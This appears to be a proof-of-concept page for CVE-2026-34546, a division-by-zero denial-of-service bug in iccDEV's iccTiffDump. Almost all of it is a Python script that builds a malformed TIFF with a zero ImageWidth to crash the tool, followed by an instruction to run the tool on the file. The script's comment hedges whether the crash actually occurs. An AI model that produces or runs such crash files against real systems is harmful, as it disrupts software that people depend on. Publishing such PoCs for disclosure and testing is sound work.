CVE-2026-34546 iccDEV除零导致拒绝服务漏洞

import struct # PoC for CVE-2026-34546: Division by Zero in iccDEV iccTiffDump # This script creates a malformed TIFF file attempting to trigger a crash. def create_malformed_tiff(filepath): # TIFF Header: Little Endian (II), Magic 42, IFD Offset 8 header = b"II" + struct.pack("<H", 42) + struct.pack("<I", 8) # Number of Directory Entries num_entries = struct.pack("<H", 1) # IFD Entry: Tag 256 (ImageWidth), Type 4 (Long), Count 1, Value 0 # Setting a width to 0 often triggers division by zero in processing logic. entry = struct.pack("<HHII", 256, 4, 1, 0) # Next IFD Offset (0 = None) next_ifd = struct.pack("<I", 0) with open(filepath, "wb") as f: f.write(header + num_entries + entry + next_ifd) print(f"[+] Generated malformed TIFF: {filepath}") print(f"[+] Run: iccTiffDump {filepath} to test.") if __name__ == "__main__": create_malformed_tiff("cve_2026_34546_poc.tif")